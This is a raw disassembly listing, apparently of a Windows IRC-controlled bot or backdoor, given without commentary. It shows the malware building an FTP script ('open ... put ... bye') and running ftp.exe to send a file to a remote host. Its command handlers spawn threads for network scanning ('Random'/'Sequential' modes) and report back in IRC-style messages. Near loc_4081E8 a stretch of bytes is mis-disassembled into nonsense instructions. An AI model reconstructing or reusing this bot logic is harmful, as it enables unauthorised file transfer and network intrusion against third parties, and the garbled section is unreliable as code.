pop ecx
idiv ecx
push edx
call sub_41BAD2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp-51F4h]
push edx
push eax
lea eax, [ebp-2BB0h]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41BA76
lea eax, [ebp-2BB0h]
push offset aAb ; "ab"
push eax
call sub_41B6B2
add esp, 20h
cmp eax, ebx
mov [ebp+2Ch], eax
jz loc_401F82
push esi
push dword ptr [ebp+20h]
push dword ptr [ebp+8]
push edi
push dword ptr [ebp+18h]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41BFF6
push dword ptr [ebp+2Ch]
call sub_41B24B
lea eax, [ebp-2BB0h]
push eax
lea eax, [ebp-4CECh]
push offset aSS_3 ; "-s:%s"
push eax
call sub_41BA76
add esp, 2Ch
lea eax, [ebp-4CECh]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call ds:dword_4CDB64
push dword ptr [ebp+18h]
test eax, eax
push esi
jz short loc_40739B
push offset unk_42BD70
jmp short loc_4073A0
; ---------------------------------------------------------------------------
loc_40739B: ; CODE XREF: seg000:00407392j
push offset unk_42BD40
loc_4073A0: ; CODE XREF: seg000:00407399j
call sub_41BA76
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_4073C9
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_4073C9: ; CODE XREF: seg000:004073ABj
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
jmp short loc_4073E3
; ---------------------------------------------------------------------------
loc_4073D7: ; CODE XREF: seg000:004073F6j
lea eax, [ebp-2BB0h]
push eax
call sub_41BFCC
loc_4073E3: ; CODE XREF: seg000:004073D5j
lea eax, [ebp-2BB0h]
push 4
push eax
call sub_41697A
add esp, 0Ch
test eax, eax
jnz short loc_4073D7
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_4073FD: ; CODE XREF: seg000:0040724Ej
push dword ptr [ebp+18h]
call sub_41B969
push edi
mov [ebp-36Ch], eax
call sub_41B969
push dword ptr [ebp+8]
mov [ebp-354h], eax
call sub_41B969
add esp, 0Ch
cmp eax, 5
mov [ebp-368h], eax
jnb short loc_407436
push 5
pop eax
mov [ebp-368h], eax
loc_407436: ; CODE XREF: seg000:0040742Bj
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_407443
mov [ebp-368h], ecx
loc_407443: ; CODE XREF: seg000:0040743Bj
push dword ptr [ebp+20h]
call sub_41B969
mov [ebp-364h], eax
mov eax, 320h
cmp [ebp-364h], eax
pop ecx
jbe short loc_407465
mov [ebp-364h], eax
loc_407465: ; CODE XREF: seg000:0040745Dj
or dword ptr [ebp-350h], 0FFFFFFFFh
cmp ds:dword_432A90, ebx
mov [ebp+28h], ebx
jz short loc_4074B4
mov edi, offset dword_432A90
loc_40747C: ; CODE XREF: seg000:00407496j
push dword ptr [ebp+18h]
lea eax, [edi-28h]
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_40749A
inc dword ptr [ebp+28h]
add edi, 40h
cmp [edi], ebx
jnz short loc_40747C
jmp short loc_4074B4
; ---------------------------------------------------------------------------
loc_40749A: ; CODE XREF: seg000:0040748Cj
mov eax, [ebp+28h]
mov ecx, eax
mov [ebp-350h], eax
shl ecx, 6
mov ecx, ds:dword_432A90[ecx]
mov [ebp-36Ch], ecx
loc_4074B4: ; CODE XREF: seg000:00407475j
; seg000:00407498j
cmp [ebp-36Ch], ebx
jnz short loc_4074C6
push offset unk_42BD0C
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_4074C6: ; CODE XREF: seg000:004074BAj
mov edi, [ebp+esi-7Ch]
cmp edi, ebx
mov [ebp+8], edi
jz short loc_407501
cmp byte ptr [edi], 23h
jz short loc_407501
push edi
lea eax, [ebp-480h]
push 10h
push eax
call sub_41BB70
push 78h
push edi
call sub_41C1A0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp-340h], eax
jmp loc_4075DB
; ---------------------------------------------------------------------------
loc_407501: ; CODE XREF: seg000:004074CFj
; seg000:004074D4j
cmp [ebp-8FBh], bl
jnz short loc_407523
cmp [ebp-8FAh], bl
jnz short loc_407523
cmp [ebp-8EAh], bl
jnz short loc_407523
push offset unk_42BCD8
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_407523: ; CODE XREF: seg000:00407507j
; seg000:0040750Fj ...
push 10h
lea eax, [ebp-2CCh]
pop edi
push eax
lea eax, [ebp-304h]
push eax
mov [ebp-2CCh], edi
push dword ptr [ebp+0Ch]
call ds:dword_4CDB9C ; getsockname
mov al, [ebp-8FBh]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-300h], eax
push dword ptr [ebp-300h]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp-480h]
push eax
call sub_41B7E0
add esp, 0Ch
cmp [ebp-8EAh], bl
jz short loc_4075D5
xor eax, eax
cmp [ebp-8FBh], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-480h]
push eax
call sub_41C030
pop ecx
cmp edi, ebx
pop ecx
mov [ebp+2Fh], bl
jle short loc_4075C9
loc_4075A7: ; CODE XREF: seg000:004075C7j
cmp eax, ebx
jz short loc_4075C9
mov byte ptr [eax], 78h
lea eax, [ebp-480h]
push 30h
push eax
call sub_41C030
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_4075A7
loc_4075C9: ; CODE XREF: seg000:004075A5j
; seg000:004075A9j
mov dword ptr [ebp-340h], 1
jmp short loc_4075DB
; ---------------------------------------------------------------------------
loc_4075D5: ; CODE XREF: seg000:0040757Fj
mov [ebp-340h], ebx
loc_4075DB: ; CODE XREF: seg000:004074FCj
; seg000:004075D3j
mov eax, [ebp+0Ch]
push dword ptr [ebp-88h]
mov [ebp-370h], eax
mov eax, [ebp-4]
mov [ebp-348h], eax
mov eax, [ebp-8]
mov [ebp-344h], eax
mov edi, 80h
lea eax, [ebp-470h]
push edi
push eax
call sub_41BB70
mov esi, [ebp+esi-78h]
add esp, 0Ch
cmp esi, ebx
jz short loc_40762C
loc_407619: ; CODE XREF: seg000:0040764Fj
push esi
loc_40761A: ; CODE XREF: seg000:00407639j
lea eax, [ebp-3F0h]
push edi
push eax
call sub_41BB70
add esp, 0Ch
jmp short loc_407657
; ---------------------------------------------------------------------------
loc_40762C: ; CODE XREF: seg000:00407617j
mov eax, [ebp+8]
cmp eax, ebx
jz short loc_40763B
cmp byte ptr [eax], 23h
jnz short loc_40763B
push eax
jmp short loc_40761A
; ---------------------------------------------------------------------------
loc_40763B: ; CODE XREF: seg000:00407631j
; seg000:00407636j
mov esi, offset aBo_0 ; "#bo-"
push offset dword_43FDB4
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_407619
mov [ebp-3F0h], bl
loc_407657: ; CODE XREF: seg000:0040762Aj
cmp [ebp-340h], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_407669
mov eax, offset aSequential ; "Sequential"
loc_407669: ; CODE XREF: seg000:00407662j
push dword ptr [ebp-354h]
lea ecx, [ebp-480h]
push dword ptr [ebp-364h]
push dword ptr [ebp-368h]
push dword ptr [ebp-36Ch]
push ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_42BC70
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 0Bh
push eax
call sub_40AF71
add esp, 2Ch
mov [ebp-360h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-480h]
push ebx
push eax
push (offset loc_40C1A1+1)
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-360h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_4076FA
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BC38
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_4076F2: ; CODE XREF: seg000:00407700j
push 32h
call ds:dword_428064 ; Sleep
loc_4076FA: ; CODE XREF: seg000:004076DFj
cmp [ebp-33Ch], ebx
jz short loc_4076F2
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_407707: ; CODE XREF: seg000:004069D8j
; seg000:004069EFj
push dword ptr [ebp+18h]
call sub_40A9E8
push edi
mov [ebp-4DCh], eax
call sub_41B969
push dword ptr [ebp+8]
mov [ebp-4ECh], eax
call sub_41B969
push dword ptr [ebp+20h]
mov [ebp-4E8h], eax
call sub_41B969
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-88h]
mov [ebp-4E4h], eax
lea eax, [ebp-56Ch]
mov [ebp-570h], esi
push eax
call sub_41B7E0
add esp, 1Ch
mov edi, [ebp-4]
mov eax, [ebp-8]
mov [ebp-4D4h], edi
push dword ptr [ebp-4E8h]
mov [ebp-4D0h], eax
push dword ptr [ebp-4ECh]
push dword ptr [ebp-4E4h]
push dword ptr [ebp-4DCh]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp-2C0h]
push offset unk_42BBE8
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 0Bh
push eax
call sub_40AF71
add esp, 24h
mov [ebp-4E0h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-570h]
push ebx
push eax
push offset sub_40C5B7
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-4E0h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_4077FF
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BBA8
jmp loc_403E50
; ---------------------------------------------------------------------------
loc_4077F7: ; CODE XREF: seg000:00407805j
push 32h
call ds:dword_428064 ; Sleep
loc_4077FF: ; CODE XREF: seg000:004077E4j
cmp [ebp-4CCh], ebx
jz short loc_4077F7
jmp loc_403E5F
; ---------------------------------------------------------------------------
loc_40780C: ; CODE XREF: seg000:0040699Bj
; seg000:004069B2j
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 234h
pop ecx
cmp ds:byte_440B50[eax], bl
jz loc_409753
cmp [ebp-0Ch], ebx
jz loc_409753
push edi
call sub_41B1D0
push dword ptr [ebp+18h]
mov esi, eax
call sub_41B1D0
push dword ptr [ebp+10h]
add esi, eax
call sub_41B1D0
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_41BAF0
mov esi, eax
lea eax, [ebp-2C0h]
push esi
push offset dword_42BB9C
push eax
call sub_41BA76
add esp, 20h
cmp esi, ebx
jz loc_409753
push dword ptr [ebp+18h]
call sub_41B969
test eax, eax
pop ecx
jle loc_409753
push dword ptr [ebp+18h]
call sub_41B969
cmp eax, 400h
pop ecx
jge loc_409753
push ebx
lea eax, [ebp-2C0h]
push ebx
push eax
push edi
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 234h
pop ecx
push ds:dword_440B44[eax]
call sub_409966
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_440938[eax], 73h
jnz loc_409753
push esi
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 234h
pop ecx
add eax, offset byte_440B50
push eax
push edi
push offset aSSS_2 ; "[%s] * %s %s"
loc_4078FC: ; CODE XREF: seg000:004079FEj
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
jmp loc_40408E
; ---------------------------------------------------------------------------
loc_407926: ; CODE XREF: seg000:0040696Dj
; seg000:00406984j
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 234h
pop ecx
cmp ds:byte_440B50[eax], bl
jz loc_409753
cmp [ebp-0Ch], ebx
jz loc_409753
push edi
call sub_41B1D0
push dword ptr [ebp+18h]
mov esi, eax
call sub_41B1D0
push dword ptr [ebp+10h]
add esi, eax
call sub_41B1D0
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_41BAF0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409753
push dword ptr [ebp+18h]
call sub_41B969
test eax, eax
pop ecx
jle loc_409753
push dword ptr [ebp+18h]
call sub_41B969
cmp eax, 400h
pop ecx
jge loc_409753
push ebx
push ebx
push esi
push edi
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 234h
pop ecx
push ds:dword_440B44[eax]
call sub_409966
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_440938[eax], 73h
jnz loc_409753
push esi
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 234h
pop ecx
add eax, offset byte_440B50
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
jmp loc_4078FC
; ---------------------------------------------------------------------------
loc_407A03: ; CODE XREF: seg000:0040693Fj
; seg000:00406956j
push dword ptr [ebp+18h]
call ds:dword_4CDC38 ; inet_addr
push edi
mov [ebp-67Ch], eax
call sub_41B969
push dword ptr [ebp+8]
mov [ebp-68Ch], eax
call sub_41B969
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-88h]
mov [ebp-684h], eax
lea eax, [ebp-70Ch]
mov [ebp-710h], esi
push eax
call sub_41B7E0
add esp, 14h
mov edi, [ebp-4]
mov eax, [ebp-8]
mov [ebp-674h], edi
push dword ptr [ebp-684h]
mov [ebp-670h], eax
push dword ptr [ebp-68Ch]
push dword ptr [ebp-67Ch]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp-2C0h]
push offset unk_42BB40
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 0Bh
push eax
call sub_40AF71
add esp, 20h
mov [ebp-680h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-710h]
push ebx
push eax
push offset sub_40C4C6
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-680h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_407AE8
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BC38
jmp loc_403E50
; ---------------------------------------------------------------------------
loc_407AE0: ; CODE XREF: seg000:00407AEEj
push 32h
call ds:dword_428064 ; Sleep
loc_407AE8: ; CODE XREF: seg000:00407ACDj
cmp [ebp-66Ch], ebx
jz short loc_407AE0
jmp loc_403E5F
; ---------------------------------------------------------------------------
loc_407AF5: ; CODE XREF: seg000:00406911j
; seg000:00406928j
push dword ptr [ebp+18h]
call sub_41B969
mov [ebp-1128h], eax
push 7Fh
lea eax, [ebp-122Ch]
push edi
push eax
call sub_41B7E0
push dword ptr [ebp+8]
call sub_41B969
push dword ptr [ebp-88h]
mov esi, [ebp+0Ch]
mov [ebp-112Ch], eax
lea eax, [ebp-11ACh]
push 80h
push eax
mov [ebp-1234h], esi
call sub_41BB70
mov eax, [ebp-8]
add esp, 20h
mov edi, [ebp-4]
mov [ebp-1118h], eax
push dword ptr [ebp-112Ch]
lea eax, [ebp-122Ch]
mov [ebp-111Ch], edi
push eax
push dword ptr [ebp-1128h]
push esi
call sub_40AAF8
pop ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_42BB04
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 18h
push eax
call sub_40AF71
add esp, 24h
mov [ebp-1124h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1234h]
push ebx
push eax
push offset sub_410565
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-1124h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_407BE1
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BAC0
jmp loc_403E50
; ---------------------------------------------------------------------------
loc_407BD9: ; CODE XREF: seg000:00407BE7j
push 32h
call ds:dword_428064 ; Sleep
loc_407BE1: ; CODE XREF: seg000:00407BC6j
cmp [ebp-1114h], ebx
jz short loc_407BD9
jmp loc_403E5F
; ---------------------------------------------------------------------------
loc_407BEE: ; CODE XREF: seg000:004068E3j
; seg000:004068FAj
push 0FFh
lea eax, [ebp-25CCh]
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
push 0FFh
lea eax, [ebp-24CCh]
push edi
push eax
call sub_41B7E0
push dword ptr [ebp+8]
mov [ebp-23C8h], ebx
call sub_41B969
mov [ebp-23C4h], eax
mov eax, [ebp+esi-80h]
add esp, 1Ch
cmp eax, ebx
jz short loc_407C47
push 10h
push ebx
push eax
call sub_41BFB5
add esp, 0Ch
mov [ebp-23BCh], eax
jmp short loc_407C4D
; ---------------------------------------------------------------------------
loc_407C47: ; CODE XREF: seg000:00407C31j
mov [ebp-23BCh], ebx
loc_407C4D: ; CODE XREF: seg000:00407C45j
mov esi, [ebp+esi-7Ch]
cmp esi, ebx
jz short loc_407C64
push esi
call sub_41B969
pop ecx
mov [ebp-23C0h], eax
jmp short loc_407C6A
; ---------------------------------------------------------------------------
loc_407C64: ; CODE XREF: seg000:00407C53j
mov [ebp-23C0h], ebx
loc_407C6A: ; CODE XREF: seg000:00407C62j
movzx eax, byte ptr [ebp-8F7h]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-88h]
mov [ebp-23B8h], eax
lea eax, [ebp-264Ch]
mov [ebp-2650h], esi
push eax
call sub_41B7E0
mov eax, [ebp-4]
push edi
push dword ptr [ebp+18h]
mov [ebp-23B0h], eax
mov eax, [ebp-8]
mov [ebp-23B4h], eax
lea eax, [ebp-2C0h]
push offset unk_42BA94
push eax
call sub_41BA76
push esi
lea eax, [ebp-2C0h]
push 1Dh
push eax
call sub_40AF71
add esp, 28h
mov [ebp-23CCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-2650h]
push ebx
push eax
push (offset loc_41647D+1)
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-23CCh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_407D1B
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BA54
jmp loc_407FD4
; ---------------------------------------------------------------------------
loc_407D13: ; CODE XREF: seg000:00407D21j
push 32h
call ds:dword_428064 ; Sleep
loc_407D1B: ; CODE XREF: seg000:00407D00j
cmp [ebp-23ACh], ebx
jz short loc_407D13
jmp loc_407FE3
; ---------------------------------------------------------------------------
loc_407D28: ; CODE XREF: seg000:004068B5j
; seg000:004068CCj
push 7Fh
lea eax, [ebp-36A0h]
pop esi
push esi
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
push esi
lea eax, [ebp-3620h]
push edi
push eax
call sub_41B7E0
push esi
lea eax, [ebp-35A0h]
push dword ptr [ebp+8]
push eax
call sub_41B7E0
push esi
lea eax, [ebp-3520h]
push dword ptr [ebp-88h]
push eax
call sub_41B7E0
push dword ptr [ebp+8]
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-349Ch], eax
mov eax, [ebp-8]
push edi
push dword ptr [ebp+18h]
mov [ebp-3498h], eax
lea eax, [ebp-2C0h]
mov [ebp-36A4h], esi
push offset unk_42BA18
push eax
call sub_41BA76
add esp, 44h
lea eax, [ebp-2C0h]
push ebx
push 12h
push eax
call sub_40AF71
add esp, 0Ch
mov [ebp-34A0h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-36A4h]
push ebx
push eax
push offset byte_414BAF
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-34A0h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_407E02
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B9E0
jmp loc_407FD4
; ---------------------------------------------------------------------------
loc_407DFA: ; CODE XREF: seg000:00407E08j
push 32h
call ds:dword_428064 ; Sleep
loc_407E02: ; CODE XREF: seg000:00407DE7j
cmp [ebp-3494h], ebx
jz short loc_407DFA
jmp loc_407FE3
; ---------------------------------------------------------------------------
loc_407E0F: ; CODE XREF: seg000:00406789j
; seg000:004067A0j
push 7Fh
lea eax, [ebp-3278h]
pop esi
push esi
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
push esi
lea eax, [ebp-31F8h]
push edi
push eax
call sub_41B7E0
push esi
lea eax, [ebp-3178h]
push dword ptr [ebp+8]
push eax
call sub_41B7E0
push esi
lea eax, [ebp-30F8h]
push dword ptr [ebp-88h]
push eax
call sub_41B7E0
push dword ptr [ebp+8]
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-3074h], eax
mov eax, [ebp-8]
push edi
push dword ptr [ebp+18h]
mov [ebp-3070h], eax
lea eax, [ebp-2C0h]
mov [ebp-327Ch], esi
push offset unk_42B9B0
push eax
call sub_41BA76
add esp, 44h
lea eax, [ebp-2C0h]
push ebx
push 0Eh
push eax
call sub_40AF71
add esp, 0Ch
mov [ebp-3078h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-327Ch]
push ebx
push eax
push offset byte_4138F5
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-3078h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_407EE9
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B978
jmp loc_407FD4
; ---------------------------------------------------------------------------
loc_407EE1: ; CODE XREF: seg000:00407EEFj
push 32h
call ds:dword_428064 ; Sleep
loc_407EE9: ; CODE XREF: seg000:00407ECEj
cmp [ebp-306Ch], ebx
jz short loc_407EE1
jmp loc_407FE3
; ---------------------------------------------------------------------------
loc_407EF6: ; CODE XREF: seg000:00406661j
; seg000:00406678j ...
push 7Fh
lea eax, [ebp-3F7Ch]
pop esi
push esi
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
push esi
lea eax, [ebp-3EFCh]
push edi
push eax
call sub_41B7E0
push esi
lea eax, [ebp-3E7Ch]
push dword ptr [ebp+8]
push eax
call sub_41B7E0
push esi
lea eax, [ebp-3DFCh]
push dword ptr [ebp-88h]
push eax
call sub_41B7E0
push 20h
lea eax, [ebp-3D7Ch]
push dword ptr [ebp+10h]
push eax
call sub_41B7E0
push dword ptr [ebp+8]
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-3CFCh], eax
mov eax, [ebp-8]
push edi
push dword ptr [ebp+18h]
mov [ebp-3CF8h], eax
lea eax, [ebp-2C0h]
mov [ebp-3F84h], esi
push offset unk_42B948
push eax
call sub_41BA76
add esp, 50h
lea eax, [ebp-2C0h]
push ebx
push 0Dh
push eax
call sub_40AF71
add esp, 0Ch
mov [ebp-3F80h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3F84h]
push ebx
push eax
push offset word_412B8A
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-3F80h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_407FFD
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B910
loc_407FD4: ; CODE XREF: seg000:0040688Aj
; seg000:0040721Aj ...
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
add esp, 0Ch
loc_407FE3: ; CODE XREF: seg000:0040689Fj
; seg000:0040722Fj ...
cmp [ebp-8], ebx
jnz loc_4023FC
push ebx
push dword ptr [ebp-4]
jmp loc_403E6A
; ---------------------------------------------------------------------------
loc_407FF5: ; CODE XREF: seg000:00408003j
push 32h
call ds:dword_428064 ; Sleep
loc_407FFD: ; CODE XREF: seg000:00407FC6j
cmp [ebp-3CF4h], ebx
jz short loc_407FF5
jmp short loc_407FE3
; ---------------------------------------------------------------------------
loc_408007: ; CODE XREF: seg000:00406633j
; seg000:0040664Aj
push 7Fh
lea eax, [ebp-1774h]
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
push edi
call sub_41B969
push 3Fh
mov [ebp-1624h], eax
push dword ptr [ebp+8]
lea eax, [ebp-16F4h]
push eax
call sub_41B7E0
mov esi, [ebp+esi-80h]
add esp, 1Ch
cmp esi, ebx
jz short loc_408052
push 3Fh
lea eax, [ebp-16B4h]
push esi
push eax
call sub_41B7E0
add esp, 0Ch
loc_408052: ; CODE XREF: seg000:0040803Ej
lea eax, [ebp-16F4h]
mov dword ptr [ebp-1620h], 1
push eax
lea eax, [ebp-1774h]
push dword ptr [ebp-1624h]
push eax
lea eax, [ebp-2C0h]
push offset dword_42B8E0
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 1Fh
push eax
call sub_40AF71
add esp, 20h
mov [ebp-161Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1778h]
push ebx
push eax
push offset sub_401875
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-161Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_4080E1
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42B8A4
jmp loc_406C70
; ---------------------------------------------------------------------------
loc_4080D9: ; CODE XREF: seg000:004080E7j
push 32h
call ds:dword_428064 ; Sleep
loc_4080E1: ; CODE XREF: seg000:004080C6j
cmp [ebp-1618h], ebx
jz short loc_4080D9
jmp loc_406C7F
; ---------------------------------------------------------------------------
loc_4080EE: ; CODE XREF: seg000:004065F3j
; seg000:0040660Aj
push edi
call sub_41B969
cmp eax, ebx
pop ecx
mov [ebp-1D60h], eax
jle loc_4081DE
push dword ptr [ebp+18h]
mov esi, 80h
lea eax, [ebp-1EE8h]
push esi
push eax
call sub_41BB70
xor eax, eax
cmp [ebp-8EAh], bl
push dword ptr [ebp-88h]
setnz al
mov [ebp-1D5Ch], eax
mov eax, [ebp+0Ch]
mov [ebp-1EECh], eax
lea eax, [ebp-1DE8h]
push esi
push eax
call sub_41BB70
mov eax, [ebp-4]
push edi
push dword ptr [ebp+18h]
mov [ebp-1D58h], eax
mov eax, [ebp-8]
mov [ebp-1D54h], eax
push offset unk_42B878
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41BB70
push ebx
lea eax, [ebp-2C0h]
loc_408178: ; CODE XREF: seg000:004081F1j
push 15h
push eax
call sub_40AF71
add esp, 38h
mov [ebp-1D68h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1EECh]
push ebx
push eax
push offset word_412FCE
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-1D68h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_4081D1
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B840
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_4081C9: ; CODE XREF: seg000:004081D7j
push 32h
call ds:dword_428064 ; Sleep
loc_4081D1: ; CODE XREF: seg000:004081B6j
cmp [ebp-1D50h], ebx
jz short loc_4081C9
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_4081DE: ; CODE XREF: seg000:004080FDj
push offset unk_42B808
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_4081E8: ; CODE XREF: seg000:004065C5j
; seg000:004065DCj
push edi
push dword ptr [ebp+18h]
call near ptr 0B10000h
jb short loc_408178
sal byte ptr [edi+ebx+57h], 8Dh
test [eax-3], eax
; ---------------------------------------------------------------------------
db 0FFh
dd 1875FFFFh, 42B7E468h, 2006800h, 0E8500000h, 13960h
dd 0FFBEA3E9h, 0B7D868FFh, 11E80042h, 50000101h, 0FD40858Dh
dd 68FFFFh, 50000002h, 1393FE8h, 10C48300h, 0FFEC70E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_408239: ; CODE XREF: seg000:00406597j
; seg000:004065AEj
push dword ptr [ebp+18h]
lea eax, [ebp-3C6Ch]
push 104h
push eax
call sub_41BB70
add esp, 0Ch
cmp [ebp-0Ch], ebx
jz short loc_408273
push edi
push dword ptr [ebp-0Ch]
call sub_41BAF0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408273
push eax
lea eax, [ebp-3B68h]
push eax
call sub_41BA76
pop ecx
pop ecx
loc_408273: ; CODE XREF: seg000:00408253j
; seg000:00408262j
push dword ptr [ebp-88h]
lea eax, [ebp-3CECh]
push 80h
push eax
call sub_41BB70
mov eax, [ebp+0Ch]
mov [ebp-3CF0h], eax
mov eax, [ebp-4]
mov [ebp-3A60h], eax
mov eax, [ebp-8]
mov [ebp-3A5Ch], eax
lea eax, [ebp-3B68h]
push eax
lea eax, [ebp-3C6Ch]
push eax
push offset unk_42B7A8
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41BB70
push ebx
lea eax, [ebp-2C0h]
push 24h
push eax
call sub_40AF71
add esp, 2Ch
mov [ebp-3A64h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3CF0h]
push ebx
push eax
push offset byte_416D13
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-3A64h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_408338
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B76C
loc_40831C: ; CODE XREF: seg000:004024FDj
; seg000:00402523j ...
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
add esp, 0Ch
jmp loc_4023FC
; ---------------------------------------------------------------------------
loc_408330: ; CODE XREF: seg000:0040833Ej
push 32h
call ds:dword_428064 ; Sleep
